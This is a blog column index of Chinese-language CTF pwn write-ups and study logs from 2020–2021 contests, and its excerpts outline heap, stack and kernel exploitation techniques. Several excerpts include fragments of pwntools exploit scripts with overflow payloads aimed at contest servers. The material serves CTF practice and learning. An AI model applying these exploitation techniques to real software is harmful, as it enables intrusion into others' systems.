Pwn
文章平均质量分 64
北岛静石
以后新博客的更新会先放在自己的notion:https://www.notion.so/3b69777783774061b97d84cfba3e3684?v=b44f836f6de44ae598aa6af39b4e87ef
展开
-
Nov 26, 21在macOS 12.0.1上布置pwn环境
前言:不是让民那桑在mac上做amd架构的题目,我布置环境是为了以后方便pwn arm架构的题目/设备之类的(逃)Pwn environment:lldb && voltron && tmuxinator && pwntools:Because outstanding performance of Plugins in gdb like pwndbg, gef and so on. I choose to install gdb on my M1 Ma原创 2021-11-27 02:04:28 · 1793 阅读 · 2 评论 -
2021东华杯pwn部分wp
前言:除了boom都蛮简单的, 第四个pwn因为boom做的有点久就没来得及, 看了眼感觉不难也就不想花时间再做了cpp1:由于change时std::cin的大小没有控制好, 所以cin可以输入很多字符, 导致了堆溢出, 且申请回来的时候没有手动清空fd位, 泄露了heap偏移, 得到了tcache结构体的地址, 利用堆溢出控制free块的fd就可以控制整个tcache结构体, 从而使得unsorted bin产生. 同上, 泄露libc偏移, 再利用fd写__free_hook与system, 再原创 2021-11-01 17:43:16 · 1612 阅读 · 0 评论 -
2021鹤城杯pwn部分wp
littleof白给的ret2libc, 第一个输出泄露canary, 第二个输出泄露libc基址顺便控制一下返回地址再返回去输入, 之后就getshell咯(摊手)#!/usr/bin/env python#coding=utf-8from pwn import*sh = remote("182.116.62.85", 27056)#sh = process('./littleof')elf = ELF('./littleof')libc = ELF('./libc-2.27.so')原创 2021-10-09 22:47:49 · 2104 阅读 · 6 评论 -
羊城杯和天翼杯的补充
YCB2021-how2heap:当数组被填满的时候, 再进行删除会出现相同相同指针, 导致uaf同时也存在数组负索引未检测的问题, 因此got表等也是可以被free的后面就是修改got表, 使得指向onegadget的地址就行了(这题当时没做出来主要是因为没发现uaf, 而且在本地仅靠负索引就可以做出来了, 但是在远程由于全局变量的改变, 导致负索引free等操作受限, 所以打不出来, 而且记录的这种做法很巧妙, 反正让我现在做也不一定做得出来, 记录下来主要是为了告诉自己got表可以尝试写入on原创 2021-09-30 01:23:04 · 989 阅读 · 0 评论 -
2021绿城杯pwn部分wp
前言:这次比赛了解到了还有jspwn这玩意, 然后没时间学(, 十月一定(逃)uafpwn:释放之后指针未置零, 所以use after free乱打from pwn import *context(log_level = 'debug', arch = 'amd64')# sh = process('./uaf_pwn')sh = remote('82.157.5.28', 52102)elf = ELF('./uaf_pwn')libc = elf.libcdef add(siz原创 2021-09-29 21:00:35 · 1181 阅读 · 0 评论 -
2021长城杯pwn部分wp
前言:就, 除了vmpwn都是基础glibc的heap题king_in_heap_1:delete函数没有把free后的指针置零, 存在uaf, 然后用unsortedbin的fd指向io结构体泄露libc, 然后mallochook上用realloc调整一下, 打onegadget就完事了#!/usr/bin/env python# coding=utf-8from pwn import *sh=remote('47.104.175.110',20066)#sh=process('./ki原创 2021-09-19 23:36:50 · 6049 阅读 · 0 评论 -
2021羊城杯pwn部分wp
前言:羊城杯的how2heap没做出来, rctf也爆零了, 哎, 颓了BabyRop:最基础的栈溢出rop链, 直接贴exp了:from pwn import *#p=process('./BabyRop')p=remote('192.168.41.23', 11000)context.log_level='debug'sh=0x804c029system=0x80490a0#gdb.attach(p,'b *0x804926a')p.sendline('a'*0x28+'b'*原创 2021-09-12 20:39:03 · 6521 阅读 · 6 评论 -
21 09 05学习总结(qwb_2018_core kernel rop)
21.09.05学习总结(qwb_2018_core kernel rop)Column: September 1, 2021Tags: kernel study, learning experience大概是好久之后更新的一篇blog了, 之前都在忙忙碌碌的打比赛呢, 痴痴的看着短视频, 莫名其妙就会让时间流走呢(笑, 最近不会再这样了)qwb_2018_core, 唔, kernel还不是学的很好呢, 先注释一遍吧, 加强理解:#include <string.h>#includ原创 2021-09-05 13:59:37 · 963 阅读 · 0 评论 -
祥云杯部分pwn的wp
lemon主要问题是2.26版本下, 未控制好指针导致任意写数据结构如下:lemon_name:lemon_content:主要可利用的函数是color:里的buf是指lemon_name结构, 所以可以控制指针lemon_addr的指向了, 因为只能用一次所以想控制整个tcache结构其它一点可利用的函数:开头的一次welcome:虽然是有rand, 但无随机数种子, 所以是固定值, z3一把????!eat函数: 可以打印chunkaddr第四字节, 用于配合后面分配堆块整原创 2021-08-24 01:18:11 · 1240 阅读 · 0 评论 -
21 08 10学习总结
21.08.10学习总结Column: August 10, 2021Tags: learning experience不知道什么时间-不知道什么时间: buu刷题Re:不一样的flag: 迷宫题の初体验, 一开始IDA的分析不对导致分析题目分析不出来, 就问了一下学长如何修改IDA的stack显示(先edit-undefined, 再右击选择array啥的或者按D表示define啥的), 而后就是分析迷宫, 由于这个字符串被默认认为是在末尾加上\x00了, 所以才被识别为char[26], 实际原创 2021-08-11 01:26:06 · 956 阅读 · 0 评论 -
21 08 08学习总结
21.08.08学习总结Tags: learning experience不知道什么时间-不知道什么时间: BUU刷题re找门:xor: 一个数xor同一个数两次之后仍然是其本身reverse3: 一个base64的加密, 主函数里有个+i的操作, 把+i消去之后base64解密就行了, 但是因为是萌新第一次接触re的base64, 于是就自己写了个base64的加密与解密练手(ida的ctrl e是直接选取字符串)helloword: jeb打开, 就能直接找到了SimpleRev: 前面有原创 2021-08-10 23:22:13 · 1137 阅读 · 0 评论 -
21 08 07学习总结
21.08.07学习总结Column: August 7, 2021Tags: learning experience09:00-11:00: xman爆零17:00-00:00: buu刷题+re入门: re入门: 夜影大哥说哪个有兴趣就先学啥, 好耶! Linux Re: 主要学了LD_PRELOAD那一块, 别的那几篇wiki因为没例题, 所以也还没细原创 2021-08-07 04:29:02 · 116 阅读 · 0 评论 -
21 07 15学习总结
21.07.15学习总结Column: July 15, 2021Tags: learning experience05:00-05:15: 补档昨天的学习总结和继续整理ctf套路集合05:20-05:50: 写了两种ciscn_2019_s_3的解法, 一种昨天想的csu, 一种基础srop(顺便稍微复习了一下, 注意这个由于出现了不可避免的push rbp, 所以要先处理一下rbp)05:55-06:10: 更新ctf套路集合, 加入了部分常用代码06:45-08:15: buuoj刷题:原创 2021-07-16 02:37:53 · 174 阅读 · 0 评论 -
21 07 14学习总结
21.07.14学习总结Tags: learning experience05:00-06:10: buuoj刷题[HarekazeCTF2019]baby_rop: 白给的ropjarvisoj_level2_x64: 白给的rop, 唯一要注意的就是find -name 找flagothers_shellcode: 连上去直接getshell, 不知道存在的意义是啥pwn2_sctf_2016: 32位的常规栈题, 复习了一下32位传参, 同时还发现sh在32位好像不能直接getshell至原创 2021-07-15 05:14:59 · 233 阅读 · 0 评论 -
21 07 13学习总结
21.07.13学习总结Column: July 13, 2021Tags: learning experienceLOL的终极魔典真好玩(逃), 今天B站还被拿下了, 笑嘻了00:30-03:00: 写完了pipeline, 先通过数据转换和传参导致溢出, 再改指针直接任意写, 其实heapbase都不用泄露的21:30-21:55: 写学习总结和ctf套路总结22:20-23:00: 看了会Linux私房菜, 内核那里只看懂一丢丢, 呜呜呜2021强网杯 babypwn:#!/usr/原创 2021-07-14 00:13:41 · 149 阅读 · 0 评论 -
强网杯2021 pwn部分wp
baby_diary:本题考查2.31的off by one, 漏洞处如下:在sub_146e中会将输入数据的ASCII码相加再相加相加…直到变成一个byte的数字, 然后加到输入数据的后一位上, 因此我们可以尝试控制输入的内容, 从而控制下一个chunk的size大小在确定完溢出点后, 我们便开始准备伪造chunk了, 由于要满足p->fd->bk == p, p->bk->fd == p以及prevsize == size, 我们需要申请一个largebin的chunk原创 2021-06-18 01:29:26 · 1312 阅读 · 1 评论 -
ciscn2021初赛pwn部分wp
ciscn2021初赛感谢wepn的队友Column: May 17, 2021pwny:首先ida看一眼发现read文件描述符全是3, 好像是读个随机数, 然后我们在3的地址上连着用Write读两次就可以把他变成0, 就可以写入内存了, 后面就是数组越界写, 负数可以往前面读读出libc偏移和pie偏移, 在得到libc之后可以获得环境变量environ的地址, 之后通过(libc_base+libc.sym[‘environ’]-pie_base-0x202060)/8, 就可以得到其位置是数组原创 2021-05-17 16:30:13 · 1187 阅读 · 0 评论 -
4 21之前做题杂记
4.21之前做题杂记Tags: Pwn前几天的基础题都丢在这里了(也不一定是基础题, 做完没印象的也有):bambobox:#!/usr/bin/env python# coding=utf-8from pwn import *sh=process('./bamboobox')sh=remote('127.0.0.1', 9997)elf=ELF('./bamboobox')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')#context.log_原创 2021-04-21 19:30:40 · 141 阅读 · 0 评论 -
4.13做题随记(axb_2019_heap, ciscn_2019_final_5)
4.13做题随记Column: Apr 14, 2021Tags: Pwn相关文件链接axb_2019_heapciscn_2019_final_5axb_2019_heap:保护检查:利用思路:banner()中存在明显的格式化字符串漏洞, 因此可以用来泄露栈地址, libc地址以及pie产生的偏移get_input()中有单字节溢出, 可以修改下一个chunk的inuse位, 从而unlink因此只要获得偏移后unlink到¬e任意读写到malloc_hook, 写原创 2021-04-14 13:59:08 · 181 阅读 · 0 评论 -
ctfwiki堆溢出总结
堆溢出小总结Column: Apr 12, 2021Tags: Pwn, summary开头的一些碎碎念:除了fastbin大小的chunk,其余物理相邻topchunk的chunk在free之后都会合并进topchunk利用malloc_hook通常是在main_arena-0x23-8的位置有个0x7f可以被识别为fakechunk(free_hook还不会,悲)Uaf:堆被free之后,指向其的指针未被置空导致fd与bk之类的关键信息可以被编辑, 还有一种就是double free之类的原创 2021-04-12 17:28:01 · 856 阅读 · 2 评论 -
how2heap的fastbin_dup_consolidate(包含sleepyholder)
fastbin_dup_consolidateColumn: Mar 28, 2021昨日dasctf, 临时学会了house of orange, 但依旧爆零, 哎, 只能说自己不够努力利用方式及其效果:方式: 很简单, 先申请一个fastbin范围内的堆1, 再随便申请一个堆2防止被topchunk合并, 之后释放堆1, 申请large bin大小的堆3, 最后释放一次堆1, 此时不会段错误, 而会让堆1同时存在于fastbin与unsortedbin中效果: 个人认为how2heap中讲的并原创 2021-03-29 03:05:59 · 443 阅读 · 1 评论 -
how2heap的unsafe_unlink(包含stkof和wheelofrobots)
unsafe_unlinkTags: Pwn, learning experience例子:先讲解一下how2heap中给出的例子: 它最终的效果是让全局变量ptr上存储的值变为ptr-0x18, 其unlink过程可以被分解成为如下步骤: (1)寻找堆溢出, (2)伪造chunk, (3)执行unlink(1)寻找堆溢出就是找一个溢出点之类的漏洞使其修改两个连续chunk中的第二个chunk(2)伪造chunk, 除了在第一个chunk中布置fake_fd和fake_bk外, 还要在第二个chu原创 2021-03-25 23:45:34 · 243 阅读 · 0 评论 -
2021_1_10寒假100pwn(2/100)
0rays招新赛_2020_PIE:题目: 题目地址思路: 由于strcpy存在\x00截断, 所以前两次分别可以获得canary和__libc_start_main+231的地址, 然后第三次输入要输入一个地址并且会输出地址上存放的值, 猜测本意是想让我们获得main函数之类的地址来获得PIE的基址, 但是由于本人还没有深入了解__libc_start_main函数, 所以就单纯输入之前获得的地址来避免读取原创 2021-01-11 14:19:34 · 104 阅读 · 0 评论 -
2020-11-19学习记录(keer‘s bug与gdb bug)
keer’s bug之前比赛的时候死脑经了, 想到栈迁移但是不会控制rdx就放弃了, 但是没注意到之前read函数残余在rdx上的参数, 啊啊啊笨死了!残余参数, 可以看到即使在函数返回的时候依旧在rdx上存有数据:同时可以看一下在调用read函数之前寄存器做出的相关处理:在我选定的那一行可以看到是根据rbp来决定s的地址的(应该算基础知识,悲), 所以如果迁移到了bss段上, 那日后写入的地址也就自然会在bss段上了所以第一次payload只要做到迁移就行了payload1='a'*0x5原创 2020-11-20 02:07:21 · 191 阅读 · 0 评论 -
2020-11-18学习经历
9447 CTF 2015: Search Engine参考链接:https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/程序分析:可以看wiki或者我昨天的博客https://editor.csdn.net/md/?articleId=109756595简单解惑:如果说, 第一次输入’a’*48的话没有获得地址可能如同下图一样下一个地址上存放的是\x00之类的产生了截断又因为该程序get num失败后是递归原创 2020-11-19 17:50:16 · 100 阅读 · 0 评论 -
2020-11-17学习总结
2015 9447 CTF : Search Engine保护就没开PIE先IDA分析走一波:在做题中, 个人认为比较困惑的一段代码为index a sentence函数, 如下:但其实读通了他的意思就是如果碰到一个空格就创建一个结构体, 如果全程都没有碰到则值创建一个就行了, 结构体如下:其中content为指向单词内容开头, sentence_ptr为指向句子开头get_sentence函数未置 ‘\x00’ (不过好像没怎么利用到):在index a sentence函原创 2020-11-18 00:44:54 · 87 阅读 · 0 评论 -
2020-11-15 UNCTF部分pwn的wp
第一题: 直接用pwn里的recv( )就行了do you like me: 直接覆盖到ip返回地址就好了#!/usr/bin/env python# coding=utf-8from pwn import *sh=remote('node2.hackingfor.fun',36806)#sh=process('./like')sh.recv()sh.sendline(p64(0)*3+p64(0原创 2020-11-15 21:38:43 · 317 阅读 · 0 评论 -
2020-11-10学习记录
CTFwiki上关于one by off的例题 还是有些疑惑的,主要是所谓的mmap地址#!/usr/bin/env python# coding=utf-8from pwn import *sh=process('./b00ks')elf=ELF('./b00ks')libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')原创 2020-11-11 04:03:30 · 127 阅读 · 1 评论 -
2020-11-09学习记录:攻防世界pwn之echo_back
今天就算是世界毁灭,我也要更新博客,容我先睡一觉原创 2020-11-09 04:33:19 · 277 阅读 · 1 评论 -
20.5.26pwn做题记录
others_babystack之前做过差不多的,只不过是改got表的,但是64位好久不做了,忘了好多题目开启了canary保护先看一下源码:明显看到case1存在栈溢出漏洞,然后case2存在打印函数可以把canary打印出来,再在case3退出一下,利用一下漏洞就可以了(注:我之前忘记了64位传参要用寄存器di,si,dx,cx,r8,r9的顺序)exp:from pwn import *from LibcSearcher import LibcSearcher#sh=process原创 2020-05-27 11:18:17 · 240 阅读 · 0 评论 -
20.5.23pwn做题记录
cmcc_simplerop一开始以为是用里面定义的"puts函数"打印函数地址做的,然后失败了:LibcSearcher找不到匹配的libc,猜测可能是因为他的"puts"函数是自定义的(因为没有在plt表中),所以打印出的地址不正确?既然不能像以前一样使用system函数,那就再试一下int 80h结果真有函数然后就是编写exp了from pwn import *from LibcSearcher import LibcSearcher#sh=process('./sim')sh=remo原创 2020-05-24 19:41:53 · 174 阅读 · 0 评论 -
20.03.25(还有sniperoj-pwn100-shellcode-x86-64的wp)
Pwn的做题记录: 来自两届BJD都被暴打的彩笔总结(第一届还没学导致pwn爆零,第二届才学两天导致只做出一道pwnQAQ) 计算偏移量若是出现相对sp的偏移的话不是直接在执行完输入后看bp-sp,而是在相关函数设置断点,然后通过r...原创 2020-03-26 02:42:04 · 692 阅读 · 2 评论